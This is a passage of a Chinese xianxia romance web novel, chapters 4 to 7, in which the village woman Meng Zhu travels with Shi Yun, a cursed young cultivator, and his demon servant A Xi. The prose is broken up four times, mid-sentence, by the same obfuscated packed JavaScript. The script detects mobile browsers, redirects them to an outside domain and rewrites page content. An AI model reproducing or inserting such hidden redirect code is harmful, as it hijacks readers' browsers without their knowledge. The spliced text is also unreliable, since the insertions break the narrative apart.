他是水妖,本是无相之妖,要化人形很多时候都会去找一张人皮来披在身上,但是又容易坏,所以要经常不断地换皮,而这个人随便一道符印便能化出如此逼真的皮相不说,还是他曾经最喜欢的一副,让他甚是满意。 “你以后就叫……阿喜。”少年用一块锦帕擦了擦眼泪,“以后你就同我一起,直到解咒为止,你的命,待我解了咒再取。” 魅妖一向善于隐匿行踪,有一个妖鬼在前面当诱饵引路会让事情变得简单很多,况且他目前还不了解这个摄魂咒到底还有多少未知的东西会威胁到他。 想到此,他抬起眼皮觑了一眼喜鬼,“不要让那个女人知道我中了摄魂咒的事情。” 要是让一个凡人知道了这件事,无疑是送上了一个致命的弱点。 喜鬼,哦不,现在是阿喜了。 阿喜喜笑颜开,乐滋滋道:“好的,主人。” - 离开了那瘆人的灵堂,孟竹背着她的包袱走了一段路,才找到了一条河边,旁边是一片荒林,看起来很少有人踏足,河水倒是很清澈。 孟竹在四周拾了点干柴生了火,又在河边将手洗洗干净,然后坐在火堆旁,从包袱里拿出变得有些硬的烤饼,就着水囊里的水,咬下一口烤饼,又喝一口水慢慢将嘴里的饼泡软了才吞下去。 她没敢吃多少,只吃了半块饼,毕竟现在也不知道到了哪里,也不知道什么时候能走出这片地方,在走到下一个镇子以前,身上的食物必须省着点吃。 吃完饭,孟竹观察了一下四周,确定这里连个人影都没见到,她解了衣服,赤着脚踏进了河里。 夜里的河水很凉,冷得她几乎打了个抖,但适应了以后就没有那么难以忍受了,孟竹慢慢清洗着身上的血污。 天上没有星星,只有一轮孤零零的月亮,月光清清冷冷地照在河水上,周围只有水花溅落的声音和风吹动林叶的沙沙声。 孟竹望着那轮明月,又想起了霍予。 医院的病房外,熄灯以后,月亮的光透过窗户照了进来,照亮了霍予那双明亮透澈的眼睛,他蹲在她的身前,声音里满是心疼:“小竹,我陪着你,你别怕啊。” 他们互相牵着对方的手,走过了一季又一季春,比血脉相连的亲人还要更加亲密。 孟竹默默收回目光,忽闻身后传来一声木枝断裂的声响。 “啪嗒——” 她猛地起身,抓起岸边放着的衣裳迅速穿好,警惕地望着后面的那一处密林,“什么人?” 火光照亮的范围有限,再往林间深处就是一片漆黑,从那一片漆黑中慢慢走出个人影来。 “是你?”孟竹将手中的临时做出来的火把凑近了些,确认了是刚才在灵堂里遇到的那个人。 他脸上的表情冷得吓人,本来是杀气腾腾很有气势的,却因为通红的还湿漉漉的眼眶威慑力大打折扣,少年一双眼睛死死地盯着孟竹,又像是十分嫌恶一样偏头移开,没过两秒又转过来,继续死死地盯着她。 孟竹:“你脖子抽筋?” 少年嗤笑一声,正待说些什么,便感觉鼻孔一热,他皱着眉头用手一摸,顿时两眼一黑,鼻血哗啦哗啦往下流。 他踉跄地往后推了几步,如避蛇蝎一样靠在树上喘着大气,视线从孟竹身上生生扯开,捂着鼻子,咬牙道:“无耻村妇,你……你离我远点!” 阿喜从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840287|159150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他身后跳出来,目瞪口呆:“主人,您怎么流鼻血了?” 他喜鬼纵横欢场多年,什么活色生香的场面没见过,何况就只是衣裳没有拢紧,锁骨下面露了一片光滑白皙的肌肤而已。 “闭嘴!” 阿喜咂了咂嘴,无言以对。 孟竹自然也意识到了不对劲,她低头看了眼胸口。 就这? 她用看白痴一样的眼神看了眼靠在树上流鼻血的人,心道:要是把他扔到现代世界,满大街的吊带短裙,这人岂不是要自戳双眼或者流鼻血而亡? 但她还是拢了拢自己的衣襟,望着突然冒出来的阿喜,问道:“你们一起的?” “没错。”阿喜嘿嘿笑了一声,摸了摸自己的下巴,道:“我们刚刚才见过的,你忘啦?” 看着孟竹骤变的神色,阿喜忙解释道:“诶诶,姑娘别怕,主人点化了我,我本来就不吃人的!” “你不吃人,你抓我过去做什么?”她分明听到他还嫌弃自己的肉不好吃。 阿喜叹了两声,有些不自在地挠了挠头,道:“其实你不知道,妖怪嘛,只是有些还没有开灵识的孩子会吃人,我本来就是一个水妖,帮孩子们抓点人吃吃,占个地方当大王,就想着挺威风的……” 孟竹打量了半晌面前这个人模人样的阿喜,心里也有了些考量,交了回手,也确实不是什么大奸大恶的妖怪,要不也不会这么蠢,被她忽悠两句就撂到地上了。 阿喜想着来的路上被交代的事情,又道:“姑娘,你一个人是要去哪儿?莫不是四海为家,要不咱们一道,结伴而行,互相也有个照应?” “我为什么要和一只妖结伴而行?”孟竹奇怪道:“我怎么知道你会不会害我?” 靠在树上的少年此刻已经盘膝而坐闭目养神,整个人如同老僧入定一般,听到孟竹的话倒是开口淡声解释了一句:“他不会。” 阿喜附和道:“是是是,我家主人乃世代修仙世家,有他在,姑娘自然不必担心安危的问题。” 修仙世家? 孟竹抓住了关键词,思索了一番,也不拐弯抹角,直接问道:“那你知道怎么才能进入仙洲吗?” “你要去仙洲?”少年睁开眼,眼神已然恢复清明,此刻正若有思索地望着她。 孟竹点头,“求仙问道,又有谁不想去?” 她本来就是一个人漫无目的地打听消息,今日和这人接触,他的实力孟竹不清楚,但应当也有点用。 “可。”少年沉思片刻,又道:“待我历练结束,仙洲遴选之时,我会助你。” “好啊,那就一起走。”孟竹笑了起来,这是她来到这个世界以来,第一次摸到了点门路,终于不算停滞不前了。 “既然要一路同行,那就认识一下吧,我叫孟竹,你呢?” 月色皎皎,夜风撩起少女洗得发白的裙角,他的视线落在她嘴角抿开的两个梨涡上,原本寡淡的神情瞬间变得柔软生动起来。 少年闭上眼,脑海中又浮现出月色下那伶仃的蝴蝶骨和被水光勾勒出的纤细腰线。 鼻间倏地一热,少年捂着鼻子,耳尖的绯红蔓延开,剜肉似的视线瞪视着孟竹。 “施允。” 5. 第 5 章 望着眼前繁华的街道,目不暇接的商铺酒楼,各式各样的绸缎铺、首饰铺子、糕点铺子和卖各种小玩意儿的小摊。 挂着帷幔的华贵的马车一辆接一辆地驶过,湖边停靠着妆点奢华的画舫游船,舞女曼妙的身姿在纱帘的掩映下若隐若现,悦耳的丝竹声回荡在耳边。 孟竹站在大街上,恍惚间有一种乡下人进城了的感觉。 她从穿越后就一直生活在杨柳村,在那里生活了三年,她甚至怀疑自己是不是拿的什么种田文的剧本。 此地名为桐花城,因为满城种满了桐树而得名,是出了名的富庶之地。 视线内探出一只白皙修长的手,如玉的指节轻轻叩了叩柜台的桌面,“三间最好的上房。” 客栈的掌柜忙接过施允递过来的大银锭,喜笑颜开:“好嘞客官。” 孟竹回神,望着身边脸色极差的施允,道:“我可没钱住。” 他抱着臂转身,黑漆漆的眼珠在孟竹身上停了一瞬,嗤笑一声:“让你掏钱了吗?” “不想住你可以去睡大街。”施允冲着外面扬了扬下巴,“或者和乞丐抢地盘。” 这个人从见面的那一刻起就令人讨厌,嘴里就没说过几句好听的话,走开、离我远点、别碰我、村妇……来来回回就是这几句。 孟竹忍不住好奇道:“你既然这么讨厌我,为什么还非要和我一起,图什么呢?” 她无意识的倾身靠近让施允眉心不易察觉地拧了一下,一股清新的皂荚香味传了过来,衣服虽然很旧,但是被洗得很干净。 有几缕长发从她的肩膀滑到身侧,发梢似乎扫过了他的手背,又或许没有,总之带来了点不舒服的痒。 “当然是因为……”施允的话音一顿,视线落在孟竹肩膀处落下的补丁,似笑非笑道:“我这个人最乐善好施了。” 看着施允嘴边意味不明的笑容,她大概懂了,这是把她看成和乞丐没什么两样呢。 无所谓,反正她又不在意他的看法,再说了,她这些年什么白眼没受过? 有人乐意掏钱,她高兴都来不及,甚至想给施允颁发一面锦旗。 孟竹道:“谢谢,你真是个好人。” 施允退开半步,两个人的距离拉开,拿出一方锦帕开始擦手,又掸了掸手上不存在的灰。 慢条斯理地垂着眼擦完,施允才开口:“孟姑娘不必客气。” 话音一顿,他淡淡道:“这种小事,何足挂齿。” 孟竹看着他这种云淡风轻又讲究的模样,忽然又想起了捂着鼻子靠在树上喘大气的人。 霍予真该来学学怎么装模作样才有气势,不然浑身上下都透着一股没长大的孩子气。 阿喜看看施允,又看看孟竹,觉得两人之间的气氛分外诡异。 不对啊,中了摄魂咒的两个人之间的氛围,不应该是你侬我侬,说话间都冒着粉红色的泡泡吗? 正常施允应该会回答说:“怎么会没钱住店?我的心肝,这是要让我心疼死!你之前过得都是什么苦日子?” 然后孟竹会梨花带雨地靠在施允的怀里,一脸柔弱地哭诉着自己悲惨的经历。 接着,施允就应该一把搂住孟竹,霸气道:“你是我的女人,以后绝对不会叫你受半点委屈!否则,我定会将让你受委屈的人碎尸万段!” 孟竹再娇弱可怜地抽泣两声,小粉拳锤他胸口,说:“你坏~” 最后施允会红着眼掐着孟竹的腰把她按到墙上:“哭什么?亲一下,命都给你。” 是啊,没错,这样才对啊! 这厢阿喜刚从幻想中挣脱出来,便看到两个人都冷着脸从他身旁走过,径自上了楼,谁也没搭理对方,房间还隔了老远,一个在最东边,一个在最西边,只有自己和施允的房间靠在一起。 不主动说的话,谁知道他俩是认识的啊? 果然,他跟着施允是对的,修为高的人果然和普通人不一样,中了摄魂咒都像没事人一样,高人啊高人。 阿喜一边感叹着,一边上了楼,正要推门进去好好睡上一觉,便听到隔壁房间传来一道冷淡的声音。 “阿喜,过来。” 他应了一声,脚步一拐,向着隔壁的房间推门而入。 房间内陈设雅致,窗边设了个可供临时休憩和饮茶的案几和软塌,案上燃了香,飘渺淡色的烟雾自镂空的鎏金香炉内悠悠升起,施允就靠在软榻上,一手撑着脑袋望着窗外。 淡金色的阳光将他的侧脸轮廓勾勒得分明,羊脂玉一般的肤色衬得发浓如墨,虽然只看到小半张侧脸,也足够让人留下惊鸿一瞥的印象。 阿喜默默地欣赏着眼前的美景,深感自己跟对了人,下一秒又想起方才施允对孟竹那态度,后怕地缩了缩脖子。 中了摄魂咒都这么嫌弃别人,还好魂主是那个女人,要是自己……阿喜想了想,浑身颤了颤。 施允这种心思难测的人指不定把自己砍成多少块呢…… 心思难测的施允此刻也转过脸来,一只手抹掉眼角滑落的泪水,面无表情地吸了吸鼻子。 下一秒,一只鼓鼓囊囊的钱袋子从窗台边抛了过来,阿喜下意识地伸手接住,有些茫然地望着软榻上又把脸转过去的人。 “主……主人,这是何意?” 轩窗半支着,施允望着街道上每一个走过的人,每一个人,都穿得比孟竹要好,他基本上看不到身上落满补丁的人。 那个村妇也不知道是从哪个穷乡僻壤里面跑出来的…… 又穷又凶……他还没见过哪个女人徒手打爆棺材盖的,跟头野牛似的。 第一次见面,身上又脏又臭,一双冷眼上下打量着他,实在算不得什么好印象。 想着,泪水从眼角滑落得更多了,他几乎控制不住自己胸口那一股莫名而来的悲伤和心痛,但还是强作镇定道:“你去城里的成衣铺子和首饰铺子,买一些首饰和衣裙回来。” 顿了顿,又添了一句:“要最好的。” 听着这话,阿喜脸上顿时浮现了一种奇怪地笑容:“主人这是在讨孟姑娘欢心吗?” 施允的背影一僵,声音像是从齿缝里挤出来的:“你在放什么狗屁!” 说罢,他用锦帕将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840288|159150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸上的泪痕一擦,转过脸来看着阿喜,嫌弃道:“我只是讨厌身边有人穿得比乞丐还不如,站在本公子身边有失我的颜面,还有你,你也去买一身,看看你穿的什么破布烂衣。” 阿喜恍然大悟,点头如小鸡啄米:“哦……哦……原来如此,还是主人想得周到。” 不过他捧着手中的钱袋,又开始犯愁,“主人,这……孟姑娘的身量尺寸我们都不知道,这不合身的东西,我总不能瞎买吧。” 他现在觉得,施允是真的一点不懂女人的心思,送礼要投其所好的道理都不懂,还得是他阿喜,风月场上的老手,色鬼中的第一流。 “那你就直接带她去铺子里量。”施允有些不耐烦了,“总之,不要说是我让你带她去的。” 阿喜苦着脸:“您也知道孟姑娘根本不信任我,您让我跟她单独出去,她能愿意吗?” 想了想一路上孟竹的表现,虽然脸上始终看不出什么,但是阿喜靠近的时候,她总会下意识地拉开一段距离。 施允有些烦躁地伸手在眉心按了按,“你先出去吧。” 阿喜想了想,觉得自己还是应该为他的主人做点什么,于是他迈出门外的一只脚又收了回来。 眼珠子一转,冒出了点想法,对着施允道:“主人,我有个主意。” - 孟竹在房间里躺着,一动不动。 翻了个身,手摸着软榻上的布料,光滑细腻,触手生温,一看就是极好的料子。 房间里没有潮湿的水汽,没有蟑螂和鼠妇,也没有一脚的湿泥。 光滑整洁的地板,精致的雕花镂空窗阁旁设了可供两人座的软榻和案几,推开窗就能看到街上繁华的街景,沐浴的地方用一扇屏风隔开,四周垂挂着轻薄的青色纱幔,偶尔有风吹进来,便会轻轻飘动,宛如一片青色的浪。 整个房间内都弥漫着一股淡淡的香气,闻不到一丝潮湿和发霉的味道。 孟竹坐起身,把手放在脸上用力地搓了搓,直到脸上变得通红,然后重重地吐出一口气,终于确定自己已经走出了那个山村。 说起来,她还得感谢施允,他虽然脾气臭了点,人傲慢了点,看人的眼神招人生气了点,说话难听了点,除了一张脸长得足够风骚,没有任何地方招人喜欢以外。 也算是个挺好的人。 毕竟,他能带她去仙洲,还有钱。 这不,她带来的干粮都不用吃了,施允不和他们一道吃饭,但是大手一挥,包揽了她和阿喜两人的食宿费用。 瞧着眼前的三菜一汤,还有精致的小点心,孟竹觉得,自己还是要对施允好一点。 看在银子的份上。 吃饱喝足以后,都不用自己烧水,就有人抬上了撒着花瓣的热气腾腾的浴桶。 孟竹泡在热水里,第一个想法是:有钱人真是不管在哪里都过得好,他们的快乐她根本想象不到。 穿着松软的寝衣,孟竹吹了灯,整个人埋在柔软舒适的被窝里,很快就睡着了。 等到夜彻底深了以后,黑暗中传来一道极轻的声音。 门开了。 6. 第 6 章 暗夜里,寂静无声,一道人影从门口一闪而过,站到了孟竹的床前。 她睡着的时候很安静,脸上的表情不似平时那样冷,眼角眉梢都放松下来,显得很柔和。 施允轻手轻脚地掀开被子,打算速战速决,量完尺寸立刻掉头就走,绝不久留。 还好孟竹睡觉比较安稳,一直是平躺的姿势,很快施允便量好了,只有胸围和手围还没量。 忍着耳根处火辣辣的灼热,施允背过身,指尖捏着一张符纸念了个决,符纸化为一道光环绕着孟竹的身体像条小蛇似的绕了绕。 很快,光环消散,他像做贼一样心怦怦直跳,转过身给孟竹盖被子,眼睫颤抖得厉害,根本不敢抬眼去看孟竹的脸。 做好了这一切,施允终于长舒一口气准备离开,谁知孟竹此刻正巧翻了个身,一只手便顺势搭在了他的大腿上。 施允的身体倏然紧绷起来,有些僵硬地垂下眼睫望着那只搭在他腿上的手。 那只手指节粗大,红肿交错的疤痕格外明显,掌心还有着一层厚茧,一点也不像一个姑娘的手,这双手上布满了风霜的痕迹,充满了力量感,就如同他第一次见到孟竹一样。 好丑。 他从来没见过这么难看的一双手,他从前见过的那些姑娘们,无一不是纤纤玉指,骨节匀称而漂亮。 果然是村妇,施允心道。 下一秒,滚烫的眼泪就落了下来,心脏处又开始一扯一扯地疼。 施允一张脸麻木地流着眼泪,他觉得这辈子的眼泪都快要流干了。 好像中了摄魂咒之后,连脑子都不好使了,一天到晚到底在心痛什么? 是不是有病? 他仰头望着屋顶,盘算着,等解了摄魂咒,他第一时间就杀…… 思及此,肩膀无声地抖动,施允一边掩面抽泣,一边轻轻将孟竹的手放回了被子里,替她掖了掖被角,站起身。 “谁?” 冷静低沉的女声自身后响起,施允身体一僵,便感觉身后有一股巨力袭来,他下意识地想要反击,心口处忽然亮起一道红光,手上的力气忽然一散,整个人天旋地转,哐当一声便被摔到了地上。 “喀嚓——” 清脆的骨裂声在黑暗中响起,他不可置信地往下一摸,惊恐地发现,自己的右腿。 断了。 断了?!! 摄魂咒,又是摄魂咒! 他这辈子顺风顺水活到现在,都没有受过这种窝囊气,直到遇到孟竹。 等解了摄魂咒,他一定会杀了她!杀了她!马上、就地、立刻! 一秒钟都不会多等! 愤怒的情绪一时间压过了摄魂咒带来的心痛,他气得整张脸都红了。 “孟、竹!”施允咬牙,抬起眼来瞪着面前的罪魁祸首。 罪魁祸首点了灯,屋里重新亮了起来,她看着眼前一脸泪水哭得眼眶通红的施允,一时也不知道是质问好,还是先说对不起才好。 孟竹想了想,开口道:“对不起,我不知道是你,不过,你为什么会在我的房间?” 深更半夜的,她还以为是什么歹徒入侵了,下意识地就是一脚踢过去,手上力道也没收着。 施允的视线移到那盏灯上,说:“附近有妖物,我来看看这里安不安全。” 妖的事她不懂,但是施允确实也是个修道之人,夜里保不准发生些什么她应付不了的状况。 人家也是为了她的安全着想,挺负责的,就是行为奇怪了点。 “啊。”孟竹点点头,“原来如此。” “那你应该把我叫醒,和我说一声的,我力气比较大,一不小心就会误伤人。” 她弯下腰对着施允伸出手,“我拉你起来。” 这哪里是力气比较大,被发疯的野猪撞一下也不过如此了,施允一声不吭,冷着脸转过头,不想理她。 她心下有些愧疚,望着施允那张梨花带雨的脸,恍恍惚惚的,好像一时间又看到了霍予在自己面前哭泣的样子。 鬼使神差的,她蹲下身来,一只手捏着施允的下颌将他的脸扳了过来,让他的视线对着自己。 然后又无比自然地掏出手帕,放轻了手上的力气熟练地帮他擦掉脸上的泪痕,最后伸出手揉了揉施允的头发,声音下意识地放柔了些:“对不起,我下次不这样了,好不好?” 说完,孟竹一下子就觉得不太对劲。 室内陡然安静下来,一时间,谁也没再说话。 孟竹放在他头发上的手僵住,她竟然不知不觉地把哄霍予的那些手段用在了施允身上。 太邪门了。 她一定要赶紧改掉这种奇怪的习惯。 孟竹尽量自然地将手慢慢收了回来,装作什么事都没发生的样子,余光却瞥见施允从脖颈漫延自耳尖的绯红像是晚霞一样渐渐晕开。 纤长的羽睫垂下,看不清他眼中的神色,他一手撑在地上,乌发如泼墨一般披散开,挡住了那红得滴血的耳尖。 半晌,才听到他从鼻腔里轻轻哼了一声:“……嗯。” 一只手递了过来,偏着头说了句:“拉我。” 孟竹掩去脸上那几分不自然的神色,伸手将地上的人拉了起来,让他扶着自己坐在软榻上。 蹲下身,手掌握住施允的脚踝瞥了一眼,然后对着施允言简意赅道:“脱了。” 说完,就起身往床边走。 “……什么?” “别磨蹭,赶紧脱。”孟竹头也没回地重复了一遍,在包袱里翻了翻,找到一瓶跌打油,是她经常用的,活血化瘀效果很好。 她还穿着寑袍,袖口宽大,虽然睡觉还蛮舒服但是做事情袖子总落下来,一点也不方便。 这么想着,她动手开始解腰带,打算把这劳什子的衣服脱了,毕竟里面还穿着她自制的T恤和长裤,防走光的。 “哐——” 身后传来巨大的声响,案上的棋篓被打翻,黑白的棋子滚落了一地,施允扶着软榻的边缘站了起来,整张脸涨如猪肝。 孟竹被吵醒之后脾气也不太好,此刻脸上也沉了下来,皱眉道:“又怎么了?” “我不脱!”施允瞪着她,声音很坚决。 “你想都别想!” 闹呢? 孟竹揉了揉发胀的太阳穴,好歹这些年的耐心也是被霍予磨出来了,深呼吸几次后,起床气也被压了下去。 她不喜欢争吵,争来争去也没什么意义,出现矛盾的时候更喜欢用平静的心态来解决问题。 “所以呢?”孟竹问。 “不脱鞋袜怎么擦药?” 擦药?什么擦药? 视线带着些许茫然和慌乱地落在孟竹捏着药瓶的手上。 施允攥着衣角的手慢慢松了下来,脖颈有些僵硬地转了过去,硬邦邦地吐出一句:“……不用了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840289|159150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丢下这句话,他扶着墙一步步往门外挪,牵动到骨折的地方也一声不吭。 这一晚上,已经够让他颜面尽失了,简直像是一场噩梦。 “我送你回去。”孟竹也不勉强,把寝衣一脱,往身上套了件方便行动的外袍。 刚要开口拒绝,便看到孟竹向自己大步走了过来,然后伸出手示意他把手臂搭在自己的肩膀上。 施允不说话了,一双眼睛看不出什么情绪,脸上的神色也渐渐冷淡下来。 见他没反应,孟竹拉开房门站在门口,静静地看着他。 根据这两天的相处来看,施允这个人可能有些洁癖,而且好像不太喜欢和别人有肢体接触,整个人也是说不上来的奇怪。 眼下不知道又在闹什么别扭。 于是她好心建议道:“我去叫阿喜来接你?” “不需要,你不要总是多管闲事。”施允一手撑着墙,一手将站在门口的孟竹拨开,他右腿使不上力,整个人几乎是侧贴在墙上挪动。 孟竹站在门口看了片刻。 当初订房间的时候施允特意要了离得最远的两间房,白天的时候看着还好,晚上漆黑的一片连廊,好像看不到尽头一样,照他现在这个速度的话,回到房间大概得等到太阳升起来了。 从二楼的扶栏边看去,窗边透进来些青灰色的天光。 安静的夜里,好像所有的声音都会被放大一样,听得格外清晰。 隔壁的房间内传来起身下榻的脚步声,离房门越来越近,好像下一秒就要推门而出。 施允的身体一僵,将脸藏进暗色的阴影里。 太丢人了…… 他这一晚上都做了什么啊…… 先是莫名其妙决定给她买东西,晚上偷偷到一个姑娘的房间,再被人弄断了腿,他总是在做这种他以前想都不会去想的事情。 太难看了……身边的一切都提醒着他做了多么不合时宜、令人难堪的举动。 他倚在墙边,等着别人拉开那扇门,看见丑态毕露的自己。 手搭在门栓上的声音格外清晰。 门被一寸寸拉开—— 下一秒,身体忽然一轻,落入了一个充满皂荚香的怀抱里,眼前的景象忽然掉转了个方向,手指穿过头发按住他的脑袋压向肩膀处,将他的整张脸都藏了起来。 门被拉开了,带来了一阵轻微的风。 起夜的人打着哈欠睡眼朦胧地揉了揉眼睛,一睁眼,便看到一个姑娘手上正抱着一个人和他对视。 她站在微亮的连廊下,脸上的表情平静而冷淡,怀里的那个人脸埋在她的肩膀处,看不清具体模样,只看得到一头柔顺起伏的长发像流水一样散开。 若是个姑娘的话,比例也不太协调,身量太高,骨架也大,那人摸了摸下巴,甚感奇怪。 再回过神来的时候,那个姑娘脚步如风,眨眼间便走远了。 推开门,将始终沉默的施允放到床上,孟竹没再停留,转身就走。 离开前,她背对着施允,到底还是解释了句:“对不起,我知道你不喜欢同我接触,这次是意外,下次不会再碰你了。” “天亮之后我去帮你找大夫。”她伸手拉开门,“好好休息。” 随着门边的一声轻响,脚步声渐渐远去。 床上的人将脸埋进柔软的被子里,像被火烧似的热意自耳畔攀升,搭在床沿的手指慢慢曲起,捂上了烫红的耳尖。 7. 第 7 章 孟竹心里惦记着施允的伤,回到房间也睡不着了,天刚刚亮,她便起身准备去街上的医馆找大夫。 刚准备出门,便听到门口传来叩门的声响。 她拉开门,阿喜一张人模人样的脸就探了进来。 “有事?”孟竹两手搭在门边上,问他。 阿喜打着哈欠,俨然一副还没睡醒的样子,也不知道他一个妖怪,怎么比人还能睡。 “主人让我跟你说一声,叫你不必找大夫了,他的伤自己能治。” 孟竹想象了一下,之前也看过一些电视小说里面,好像修道之人都会什么法术之类的,能给自己疗伤也不稀奇。 说实话,她还挺想见见到底那些术法是怎么样的,是不是像电视剧里面一样那么神。 时至今日,要不是面前站着一个非人类,她还有点不能相信自己身处的是一个修仙世界。 “知道了。”孟竹点点头,准备把门关上再睡个回笼觉。 阿喜一只手挡在门缝中间,止住了孟竹的动作,一张脸上写满了好奇:“诶诶,先等一下,我就是好奇,我主人他是怎么受伤的?” “我怎么都不知道?” 他和施允交过手,这人打他的时候连灵力都没用,就让他毫无招架之力,在他遇到过的修士中当属实力最高的一个。 有什么人能让他受伤啊? 孟竹觑他一眼,“听说昨天有妖怪在这附近,你不知道吗?” “啊?”阿喜瞪大了眼睛,“什么妖怪能在我眼皮子底下还不被我察觉到的?” 他撸了撸袖子,义愤填膺道:“要是让我逮到了,绝对让他吃不了兜着走。” 孟竹不想听他吹牛逼了,她把门一关,将阿喜的唠叨声隔绝在门外。 在房间里又睡了一觉以后,起来已经是中午了,外面的街上已经热闹起来了,孟竹打算出去转转。 刚出门走了几步,迎面就碰上了正臭着脸的施允。 孟竹下意识地看了看他的腿,这人站得笔直,又换新衣服了。 一身红色的劲装,衣襟和袖口绣着黑色的暗纹,腰封紧扣,勾勒出劲瘦的腰身和一双长腿,整个人一改昨日的颓靡,利落而飒爽,像日出时破开暗沉天幕的第一缕阳光。 这人的风格还挺多变的,一天一个样,像是要去参加时装周。 孟竹的视线定格在那双笔直的长腿上,“你腿没事了?” 都说伤筋动骨一百天,果然她见识的还是太少了。 施允不说话,脸依然臭着,嘴角往上扯了扯,露出个皮笑肉不笑的笑容,“不劳你费心。” 他侧身从孟竹身边下楼,冷冰冰扔下一句:“记住你说的话,离我远点就行。” 孟竹盯着他下楼。 一步…… 两步…… 笔直的身子猛地往旁边一歪,眼见着就要栽到地上,孟竹下意识地伸手一拉。 人斜着被她拽了回来,孟竹低头,与那双眼睛对视两秒。 那只拉着人的手忽然一松。 台阶上的人毫无防备,一双狭长的眼微微瞪圆了,带着满脸不可置信的表情朝后倒了下去。 像是表演杂技一样,孟竹眼睁睁地看着施允身体几乎对折起来,表演了个花式后空翻,稳稳落在地上。 客栈里的食客见到这一幕,纷纷鼓起了掌。 “好!” “少侠好身手!” 孟竹也跟着拍了拍手,语气十分真诚:“施公子,厉害。” 她笑了笑,站在楼梯上望着施允:“哦,忘了跟公子说,刚刚小二说台阶这里洒了油,不好走。” 施允要笑不笑的抬起眼皮看了她一眼,点着头说了句:“行。” 客栈门口响起阿喜的大嗓门,“主人!” 他先一步进了门,孟竹才发现他身后跟着个人,年纪约莫在四十岁左右,穿着打扮像是城里富户家中的掌事。 “他说是来找你的。”阿喜指了指施允,对着那人道:“你找的是他吗?” 那名男子见到施允,先是恭恭敬敬行了一礼,才掏出了一枚通体漆黑的牌子递给施允,“仙君,可否借一步说话?” 施允接过那枚令牌看了看,又随手抛了回去,点了点头,转身朝楼上走。 刚踩上台阶,他的脚步一顿,硬生生拐了个方向,朝着另一侧的楼梯走去。 待上了楼,和孟竹遥遥相望,他一只手搭在扶栏上,冲着她偏了偏头,道:“不是想去仙洲吗?” “那就跟上。” 阿喜跟在下面问:“我也来?” 施允淡淡瞥了一眼过去,“你想死的话,我现在就可以成全你。” 一分钟后,三人在阿喜的房间的桌边坐了下来。 至于为什么是阿喜的房间,孟竹想,以施允的讲究程度来看,连别人的肢体接触都讨厌的人,怎么会允许别人进他的房间呢? 果然,人生如戏,昨天的她把施允的雷点都踩满了。 怪不得那么生气,一早上都臭着脸。 但是孟竹不是个会看人脸色的人,好像察觉不到气氛的尴尬似的,一上桌就给自己倒了杯茶。 那名男子的视线在孟竹和施允身上来回看了又看,踌躇道:“这……姑娘也是修道之人?” 施允:“无妨,你有什么事就直说。” 那男子叹了口气,“家主吩咐,此事一定不能让无关的人知道,仙君这不是在为难在下吗?” 这架势,看起来是非要赶人不可了。 孟竹低头吹了吹茶水,吸溜一声喝了一口。 烫死人了。 男子脸上闪过一丝鄙夷,很快又转过脸,正对上施允一双似笑非笑的眼。 那双眼黑如点漆,莫名看得人心慌。 他一只手把玩着桌上的茶杯,一边淡淡开口:“是你们求我办事,不是我求着你们。” 茶杯磕在桌上发出一声脆响,施允笑了笑:“这位朋友,搞错主次了吧?” 那名男子一看施允这态度,分明也不是个好惹的主,连忙道:“不是不是,仙君莫要生气,是这样……” 这回终于顺利开口了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840290|159150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,倒豆子一样将事情一五一十地说了出来。 此人姓刘,是城内郑氏富商家中的管事,此次前来是因为郑氏府上近来出了件怪事,怀疑是有妖邪作祟,便出高价委托了仙洲的人前来相助。 仙洲在凡界设有历事堂,若有妖邪作祟,可以在历事堂挂牌,出仙洲历练的修士可以在历事堂接牌子,一来可以累积经验增长修为,二来也能赚些在凡界生活的费用,而施允正好就是因为这个委托才来到桐花城。 